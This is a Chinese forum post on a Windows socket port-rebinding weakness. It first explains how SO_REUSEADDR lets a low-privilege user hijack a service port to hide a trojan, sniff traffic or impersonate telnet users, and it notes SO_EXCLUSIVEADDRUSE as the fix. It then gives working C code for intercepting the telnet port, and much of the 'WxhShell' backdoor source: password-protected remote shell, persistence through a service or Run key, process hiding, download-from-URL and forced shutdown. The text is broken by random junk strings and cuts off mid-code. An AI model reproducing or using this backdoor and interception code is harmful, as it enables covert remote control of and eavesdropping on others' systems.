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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4M>EQF&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S oB6F9  
34qfP{9!N  
  saddr.sin_family = AF_INET; ! p3vnOX6  
fUB+9G(Bx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 19i [DR  
\`YV)"y" ~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g #[,4o;  
0vcFX)]yW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wp//SV  
"= *   
  这意味着什么?意味着可以进行如下的攻击: U_5\ FM  
E1>zKENN;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &=l aZxe  
UvVq#<-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f/g-b]0  
Cx ;n#dn*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [K`d?&  
0[fqF^HEN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^vo]bq7  
$e,'<Jl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $%5!CD1)  
DZV U!J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 # |,c3$  
NV9H"fI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  ),f d,  
7R>Pk9J  
  #include P>ZIP* Gr  
  #include >Q|S#(c  
  #include =%9j8wHX  
  #include    ]D|Hq4ug  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N"2P]Z r  
  int main() x: 2 o$+v3  
  { `6y\.6j  
  WORD wVersionRequested; axdRV1+s  
  DWORD ret; G!w?\-  
  WSADATA wsaData; TRQH{O\O  
  BOOL val; &y.6Hiy&  
  SOCKADDR_IN saddr; )[5.*g@  
  SOCKADDR_IN scaddr; J.n-4J#@  
  int err; i UW.$1l  
  SOCKET s; G0v<`/|>}  
  SOCKET sc; z229:L6"  
  int caddsize; w&LL-~KI+  
  HANDLE mt; HH'5kE0;d  
  DWORD tid;   {&.?u1C.\  
  wVersionRequested = MAKEWORD( 2, 2 ); A{a`%FAV  
  err = WSAStartup( wVersionRequested, &wsaData ); ??=7pFm  
  if ( err != 0 ) { A@JZK+WB}  
  printf("error!WSAStartup failed!\n"); Vc| uQ8Mi  
  return -1; |&H(skF_  
  } *\F,?yU  
  saddr.sin_family = AF_INET; .l~g`._  
   *]* D^'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +AL(K:  
-LEpT$v|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5gY9D!;:0D  
  saddr.sin_port = htons(23); <^wqN!/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p`{| [<  
  { ^0T[V-PgiD  
  printf("error!socket failed!\n"); is}Y+^j.  
  return -1; [Xo}CU  
  } !<j)D_  
  val = TRUE; '1Q [&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =bB7$#al  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 73kL>u  
  { Fx'E"d  
  printf("error!setsockopt failed!\n"); XGMO~8 3  
  return -1; ,SSq4  
  } R%^AW2   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S#^-VZ~U4x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "\1QJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W1p5F\ wt  
t+Hx&_pMj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %%f(R7n  
  { dSIZsapH  
  ret=GetLastError(); Zywx.@!  
  printf("error!bind failed!\n"); ]eIV'lP,j/  
  return -1; Q1?0 ]5  
  } y`.m'n7>P  
  listen(s,2); UvM_~qo  
  while(1) dLy-J1h\  
  { ,N`D{H"F  
  caddsize = sizeof(scaddr); M[,G#GO  
  //接受连接请求 nW `EBs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TGu]6NzyZ  
  if(sc!=INVALID_SOCKET) <Z8^.t)|  
  { ]*JH~.p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6`;+|H<$  
  if(mt==NULL) HVK./y qy  
  { LjMhPzCp  
  printf("Thread Creat Failed!\n"); |!H@{o  
  break; }?XNA.Wz  
  } keL!;q|r-)  
  } ?tFsSU  
  CloseHandle(mt); I 6Mr[#*  
  } UIi`bbJ  
  closesocket(s); mL[Y{t#N  
  WSACleanup(); * IBCThj  
  return 0; ##clReS  
  }   XbKNH>  
  DWORD WINAPI ClientThread(LPVOID lpParam) [u}2xsSx  
  { &%`Y>\@f  
  SOCKET ss = (SOCKET)lpParam; /f) #CR0$  
  SOCKET sc; x$Tf IFy  
  unsigned char buf[4096];  = ~^  
  SOCKADDR_IN saddr; &[|P/gj#>  
  long num; 5 ]v]^Y'?  
  DWORD val; ;m cu(J  
  DWORD ret; h`b[c.%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *]RCfHo\=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a #4 'X*  
  saddr.sin_family = AF_INET; Seb J}P1x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2%(RB4+  
  saddr.sin_port = htons(23); *oU-V#   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y]>Qu f.!  
  { <tp#KZE  
  printf("error!socket failed!\n"); u.Z,HsEOb  
  return -1; @O%d2bgEWV  
  } e3b|z.^8  
  val = 100; 6`l7saHXE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WYNO6Xb#:  
  { T&PLvyBL  
  ret = GetLastError(); |8YP8o  
  return -1; 1xE*quhrh  
  } 8'6$t@oT9w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jh)K0>R  
  { aj)?P  
  ret = GetLastError(); a#o6Nv  
  return -1; OGqsQ  
  } ,%%}d9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fK{[=xMr@  
  { [#-!&>  
  printf("error!socket connect failed!\n"); =j{r95)|u  
  closesocket(sc); WbP*kV{  
  closesocket(ss); nfbqJ  
  return -1; c/\$AJV.H  
  } DTR/.Nr'K  
  while(1) e=%6\&q  
  { dn)pVti_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;&%G)f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r(::3TF%#q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 --9Z  
  num = recv(ss,buf,4096,0); I{0bs Tp;  
  if(num>0) 9x40  
  send(sc,buf,num,0); c@1q8,  
  else if(num==0) Hz6yy*  
  break; }th^l*g  
  num = recv(sc,buf,4096,0); J$Qm:DC5  
  if(num>0) [M{EO)  
  send(ss,buf,num,0); 3!V$fl0  
  else if(num==0) p&#*  
  break; Y!tjaL 9D  
  } 8 K/o/  
  closesocket(ss); $=-Q]ld&]  
  closesocket(sc); ']]&<B}mz  
  return 0 ; 'o*:~n  
  } ,$qqHSd1M  
qm&Z_6Pw  
f!"Y"g:@E  
========================================================== Ft)Z'&L   
_%$(D"^j  
下边附上一个代码,,WXhSHELL ef;Ta|#  
ttK`*Ng  
========================================================== BLvI[b|3gn  
KZxA\,Y'5  
#include "stdafx.h" _,i+gI[  
5@{+V!o,  
#include <stdio.h> Mn=5yU  
#include <string.h> +.b@rU6H  
#include <windows.h> 23;e/Qr  
#include <winsock2.h> BOQeP/>  
#include <winsvc.h> !dW77kLTg  
#include <urlmon.h> Hw"UJP  
H~P"uYKIZ  
#pragma comment (lib, "Ws2_32.lib") -MqWcB9&  
#pragma comment (lib, "urlmon.lib") C,!}WB@VME  
k9^Vw+$m  
#define MAX_USER   100 // 最大客户端连接数 #Rkldv'  
#define BUF_SOCK   200 // sock buffer d$G<g78D  
#define KEY_BUFF   255 // 输入 buffer @}e'(ju%R  
DB>Y#2j4h  
#define REBOOT     0   // 重启 9A4h?/  
#define SHUTDOWN   1   // 关机 @-ma_0cZQ  
/@.c 59r  
#define DEF_PORT   5000 // 监听端口 !^|%Z  
VnJ-nfA  
#define REG_LEN     16   // 注册表键长度 ab=s+[r1  
#define SVC_LEN     80   // NT服务名长度 hR$lX8  
IHg)xZ  
// 从dll定义API ^3-Wxn9&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;^,2 QsM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y)@PGxjz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O&:0mpRZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VhAZncw  
w$5N6  
// wxhshell配置信息 {xC CUU  
struct WSCFG { 'ZHu=UT7_  
  int ws_port;         // 监听端口 WR*|kh  
  char ws_passstr[REG_LEN]; // 口令 Hh bf9)  
  int ws_autoins;       // 安装标记, 1=yes 0=no ikGH:{  
  char ws_regname[REG_LEN]; // 注册表键名 $DfaW3bJ  
  char ws_svcname[REG_LEN]; // 服务名 J\%<.S>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .=>T yq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P'Fy,fNg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hao0_9q+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |-zwl8E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sX&M+'h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p.2>- L  
:`Kr|3bQ  
}; 8dw]i1t<  
:8_`T$8i4  
// default Wxhshell configuration {tE/Jv $  
struct WSCFG wscfg={DEF_PORT, jz[|rwAp  
    "xuhuanlingzhe", lK^Q#td:`  
    1, : {9|/a  
    "Wxhshell", f$E66yG  
    "Wxhshell", ~PNO|]8j  
            "WxhShell Service", ."Yub];H  
    "Wrsky Windows CmdShell Service", kC R)k=*  
    "Please Input Your Password: ", FGOa! G  
  1, ! 40t:+I  
  "http://www.wrsky.com/wxhshell.exe", I`%=&l[v_5  
  "Wxhshell.exe" wYf=(w \c  
    }; ] %*970  
H&L=WF+x  
// 消息定义模块 vtFA#})~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oT5xe[{yj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ssu{Lj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TKc&yAK  
char *msg_ws_ext="\n\rExit."; ED/-,>[f  
char *msg_ws_end="\n\rQuit."; T^a {#B  
char *msg_ws_boot="\n\rReboot..."; 13Z6dhZu  
char *msg_ws_poff="\n\rShutdown..."; ;f-|rC_"  
char *msg_ws_down="\n\rSave to "; );h\0w>3  
Z"gllpDr$  
char *msg_ws_err="\n\rErr!"; (nrrzOax  
char *msg_ws_ok="\n\rOK!"; co3H=#2a  
\i-jME(sN  
char ExeFile[MAX_PATH]; =tcPYYD  
int nUser = 0; *eXO?6f%s^  
HANDLE handles[MAX_USER]; $U jSP  
int OsIsNt; H/V%D O  
uz4mHyS6  
SERVICE_STATUS       serviceStatus; u,F d[[t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nRQIrUNq  
xgR*j  
// 函数声明 }bznx[4?I  
int Install(void); L>UYR++<6  
int Uninstall(void); ) WIlj  
int DownloadFile(char *sURL, SOCKET wsh); FbM5Bqv  
int Boot(int flag); ^@L[0Z`  
void HideProc(void); U8-9^}DBA  
int GetOsVer(void); l1cBY{3QD  
int Wxhshell(SOCKET wsl); LbR/it'}  
void TalkWithClient(void *cs); RQ,(?I*8\  
int CmdShell(SOCKET sock); [Pp#l*  
int StartFromService(void); !E_uQ?/w]Z  
int StartWxhshell(LPSTR lpCmdLine); z K8#gif@  
oz5o=gt7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LO61J_J<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nu0bJ:0aLd  
dr6 dK  
// 数据结构和表定义 Xy*X4JJh^  
SERVICE_TABLE_ENTRY DispatchTable[] = _ga!TQ:  
{ b+p!{  
{wscfg.ws_svcname, NTServiceMain}, 8VcAtrx_  
{NULL, NULL} W? UCo6<m  
}; Ux icqkX  
24N,Bo 3  
// 自我安装 #>'1oC{  
int Install(void) H[N&Wiq/|  
{ ^z&xy41#B  
  char svExeFile[MAX_PATH]; G^mk<pH  
  HKEY key; jX&&@zMq  
  strcpy(svExeFile,ExeFile); \wRr6-!_  
Mty]LMK  
// 如果是win9x系统,修改注册表设为自启动 GvzPT2E!  
if(!OsIsNt) { 8)POEY4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |>3a9]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x}x@_w   
  RegCloseKey(key); Rg[e~##  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >!)VkDAG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l!AZ$IV  
  RegCloseKey(key); u F*cS&'Z  
  return 0; ex!^&7Q(  
    } `4EOy:a  
  } Bhq(bV  
} @I"Aet'XV  
else { <uTsX v  
3X!~*_i C  
// 如果是NT以上系统,安装为系统服务 $Qy(ed  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pO+1?c43  
if (schSCManager!=0) 2FVKgyV  
{ 3+|6])Hi1  
  SC_HANDLE schService = CreateService Gm2rjpZeq  
  ( UdI>x 4bI  
  schSCManager, DpS6>$v8t  
  wscfg.ws_svcname, .sG,TLE[<  
  wscfg.ws_svcdisp, ONjc},_  
  SERVICE_ALL_ACCESS, .V.N^8(:a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dY-a,ch"8p  
  SERVICE_AUTO_START, `f'q/  
  SERVICE_ERROR_NORMAL, 78QFaN$  
  svExeFile, ?3Jh{F_+  
  NULL, |(P;2q4>  
  NULL, CLkVe  
  NULL, ^p7(  
  NULL, =hs@W)-O  
  NULL PRz oLzr  
  ); \~)573'  
  if (schService!=0) GO)rpk9  
  { %|,<\~P  
  CloseServiceHandle(schService); RrZjC  
  CloseServiceHandle(schSCManager); Nz}Q"6L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '9/kDkt!  
  strcat(svExeFile,wscfg.ws_svcname); ^n2w6U0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qx,G3m[}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -mkync3  
  RegCloseKey(key); {PVu3 W  
  return 0; wwAT@=X*}  
    } !>:tF,fcB  
  } ~Op1NE  
  CloseServiceHandle(schSCManager); rka:.#!  
} UA8!?r-cR  
} 3 #wj-  
.~U9*5d  
return 1; l46F3C|  
} IB6]Wj  
{;}8Z$  
// 自我卸载 sR 9F:  
int Uninstall(void) i@J,u  
{ 8 KkpXaz  
  HKEY key; `?@7 KEl>  
jFXU xf  
if(!OsIsNt) { >eTlew<5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CbHNb~  
  RegDeleteValue(key,wscfg.ws_regname); :9YQX(l8  
  RegCloseKey(key); c~'kW`sNV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @iRVY|t/  
  RegDeleteValue(key,wscfg.ws_regname); 2bJFlxEU  
  RegCloseKey(key); c'B"Onu@m*  
  return 0; IID(mmy6 L  
  } 'AAY!{>  
} f5a](&  
} Fq9[:  
else { 3-R3Qlr  
0hkuBQb\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yn#h$o<  
if (schSCManager!=0) r9Z/y*q  
{ u7=[~l&L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $;CC lzw  
  if (schService!=0) DsX>xzM  
  { ZH(.| NaH  
  if(DeleteService(schService)!=0) { dvD<>{U,8  
  CloseServiceHandle(schService); C#~MR+;  
  CloseServiceHandle(schSCManager); oSl>%}  
  return 0; @,MdvR+a  
  } Vd0GTpB?1  
  CloseServiceHandle(schService); ger<JSL%  
  } 1pb;A;F,A  
  CloseServiceHandle(schSCManager);  mb/[2y<  
} i4I0oRp  
} MP,*W}@  
fI1;&{f   
return 1; DOerSh_0W  
} zFtGc  
OVyy}1Hx  
// 从指定url下载文件 u,m-6@ il  
int DownloadFile(char *sURL, SOCKET wsh) 1955(:I  
{ 1,j9(m2  
  HRESULT hr; QP B"E W  
char seps[]= "/"; !T*B{+|  
char *token; <yS"c5D6  
char *file; D H !Br  
char myURL[MAX_PATH]; dNQSbp  
char myFILE[MAX_PATH]; vy@Lu cB  
pD#"8h  
strcpy(myURL,sURL); doc  
  token=strtok(myURL,seps); aHC;p=RQ\A  
  while(token!=NULL) .e"Qv*[^  
  { (g m^o{  
    file=token; X^Y9T`mQ}  
  token=strtok(NULL,seps); ^I{]Um:  
  } k Ml<  
$t$f1?  
GetCurrentDirectory(MAX_PATH,myFILE); =.E(p)fz  
strcat(myFILE, "\\"); gJ.6m&+  
strcat(myFILE, file); h`]/3Ma*:  
  send(wsh,myFILE,strlen(myFILE),0); &XRFX 5gP  
send(wsh,"...",3,0); @6q$Zg/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v$G*TR<2  
  if(hr==S_OK) ;n!X% S<z*  
return 0; F?} *ovy  
else HiG/(<bs9O  
return 1; f hG2  
}qv-lO  
} XyphQ}\u  
E ZKz-}  
// 系统电源模块 ? SP7vQ/  
int Boot(int flag) 9Nu#&_2R  
{ |V\.[F2Fe  
  HANDLE hToken; *'YNRM\}  
  TOKEN_PRIVILEGES tkp; o'7ju~0L  
#L.}CzAz  
  if(OsIsNt) { !2| `aa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %GbPrlu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5vi#ItN}|  
    tkp.PrivilegeCount = 1; 0juIkN#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )m8>w6"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rp#*uV9;  
if(flag==REBOOT) { wmE,k1G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R0mT/h2  
  return 0; ,?<h] !aQ  
} W lQ=CRY  
else { Kw0V4UF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !* Z)[[  
  return 0; e K1m(E.=  
} pE/3-0;}N  
  } MD4 j~q\ g  
  else { 1IQOl  
if(flag==REBOOT) { rg^\BUa-W,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z %3"d0  
  return 0; = )l:^+q  
} "!Oh#Vf  
else { DUKmwKM"k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yr9A0F0  
  return 0; |C6(0fgWd  
} ICbdKgLz  
} Zmbz-##HQ  
qV8\/7'A0a  
return 1; 7]xz8t  
} qm8n7Z/  
C.)&FW2F_  
// win9x进程隐藏模块 Bb [e[,ah  
void HideProc(void) gDNTIOV  
{ y2"S\%7$h  
z!C4>,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G\>\VA  
  if ( hKernel != NULL ) +.#S[G  
  { `J#xyDL6?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <Mn7`i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &iiK ZZ`_o  
    FreeLibrary(hKernel); !BQ ELB$0  
  } K: o|kd  
/W$y"!^)J1  
return; bC4* w O  
} #1dTM-  
P tQ#  
// 获取操作系统版本 renmz,dJ,  
int GetOsVer(void) Be>c)90bO_  
{ O<Sc.@~  
  OSVERSIONINFO winfo; _HHJw""j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VWA-?%r  
  GetVersionEx(&winfo); 2PP-0 E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ok%a|Zz+]  
  return 1; ooU Sb  
  else dbT^9: Q  
  return 0; }:9|*m<$t  
} ?sf2h:\N  
`-K)K<  
// 客户端句柄模块 /zG-\eU  
int Wxhshell(SOCKET wsl) v(@+6#&  
{ F `pyhc>1;  
  SOCKET wsh; -=Eq/s u%  
  struct sockaddr_in client; &>zy_)  
  DWORD myID; ?fa,[r|G  
U~#^ ^  
  while(nUser<MAX_USER) >RL6Jbo|  
{ `k{ff  
  int nSize=sizeof(client); o(X90X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @@{_[ir  
  if(wsh==INVALID_SOCKET) return 1; vgQhdtt  
kk_9G -M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); me[J\MJ;w^  
if(handles[nUser]==0) ?V5Pt s  
  closesocket(wsh); vi!r8k  
else w] 5U  
  nUser++; 8~s-t  
  } =O3I[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MY?O/,6  
i5E:FS^!I  
  return 0; }Cmj(k`~  
} |+;KhC  
0(U3~ k6  
// 关闭 socket V>>) 7E:Q  
void CloseIt(SOCKET wsh) ]IHD:!Z-=  
{ +NLQYuN  
closesocket(wsh); fJn3"D'  
nUser--; 7\0|`{|R@  
ExitThread(0); ;!0.Kk 4  
} g=oeS%>E  
76IALJ00V  
// 客户端请求句柄 yNqm]H3<MP  
void TalkWithClient(void *cs) !|Xl 8lV`  
{ :L [YmZ  
)kL` &+#>  
  SOCKET wsh=(SOCKET)cs; Jp.3KA>  
  char pwd[SVC_LEN]; >xU72l#5  
  char cmd[KEY_BUFF]; lN)Y  
char chr[1]; gB{]yA"('  
int i,j; ^Z-. [Y  
xu"94y+  
  while (nUser < MAX_USER) { ^`TKvcgIc  
RQ*|+ ~H  
if(wscfg.ws_passstr) { !4 4mT'Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c_-" Qo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , Y g5X  
  //ZeroMemory(pwd,KEY_BUFF); DX&lBV  
      i=0; zO).<xIq+  
  while(i<SVC_LEN) { n $O.>  
+9 16ZPk  
  // 设置超时 -n=$[-w  
  fd_set FdRead; "u Of~e"  
  struct timeval TimeOut; JI+KS  
  FD_ZERO(&FdRead); ^:cb $9F  
  FD_SET(wsh,&FdRead); wv7p,9Z[  
  TimeOut.tv_sec=8; hyk|+z`B  
  TimeOut.tv_usec=0; H)j [eZP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _>jrlIfc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;9p#xW6  
=q"w2b&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]uStn   
  pwd=chr[0]; U!a!|s>  
  if(chr[0]==0xd || chr[0]==0xa) { [U%ym{be ^  
  pwd=0; je- , S>U  
  break; M!&_qj&N,  
  } HIPcZ!p  
  i++; IFC%%I t5,  
    } 0.J1!RIK/  
J+3\2D?  
  // 如果是非法用户,关闭 socket dJ%wVY0z=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VVI8)h8  
}  fW5" 4,  
!7mvyc!'!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~{1/*&P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NK  
Rm,[D)D^0N  
while(1) { koncWyW  
v2M"b?Q  
  ZeroMemory(cmd,KEY_BUFF); u_}`y1Xu#  
S.Wh4kMUe  
      // 自动支持客户端 telnet标准   )d770Xg+  
  j=0; ^Txu ~r0@  
  while(j<KEY_BUFF) { xUiWiOihr6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t-*VsPy  
  cmd[j]=chr[0]; "4Lg8qm  
  if(chr[0]==0xa || chr[0]==0xd) { >0Fxyv8  
  cmd[j]=0; ^MWEfPt  
  break; [ 5CS}FB  
  } :"OZc7 ~  
  j++; _KSfP7VU  
    } A6?qIy  
Aj8l%'h[  
  // 下载文件 njy~   
  if(strstr(cmd,"http://")) { >zPO>.?h7T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K;<NBnH  
  if(DownloadFile(cmd,wsh)) >u9id>+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LPq*ZZK  
  else ?r -\%_J_(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N5q}::Odc  
  } u"`5  
  else { (TT3(|v  
:DOr!PNA  
    switch(cmd[0]) { o9KyAP$2  
  4c5^7";P  
  // 帮助 avu*>SB  
  case '?': { Ij;==f~G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Whv]88w{  
    break; HpB!a,R6B  
  } Cp .1/  
  // 安装 YXczyZA`x  
  case 'i': { ,~?A,9?%:  
    if(Install()) J- t=1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eVqM=%Q  
    else JDC=J(B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $l#v/(uFa  
    break; ( GFgt_  
    } +G*"jI8W  
  // 卸载 a za o`z  
  case 'r': { d u.HSXK  
    if(Uninstall()) Zw;$(="  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O{lIs_1.Z  
    else 8yHq7=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qiG]nCq  
    break; mV6#!_"  
    } a(PjcQ4dY  
  // 显示 wxhshell 所在路径 eP V-yy  
  case 'p': { .@y{)/  
    char svExeFile[MAX_PATH]; bWGyLo,  
    strcpy(svExeFile,"\n\r"); 6@"Vqm|HD  
      strcat(svExeFile,ExeFile); @IEI%vH  
        send(wsh,svExeFile,strlen(svExeFile),0); >|l;*Kw,/P  
    break; IY];Ss&i  
    } bin6i2b  
  // 重启 ]*bAF^8i  
  case 'b': { GwgFi@itN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k-{yu8*';  
    if(Boot(REBOOT)) 2-B6IPeI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9uA, +  
    else { Y*5Z)h 1  
    closesocket(wsh); 7ZS>1  
    ExitThread(0); =jJ H^Y2  
    } >}-~rZ  
    break; `)rg|~#k  
    } |?\gEY-Se  
  // 关机 %)zk..K{l  
  case 'd': { 9k+N3vA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v57N^DR{  
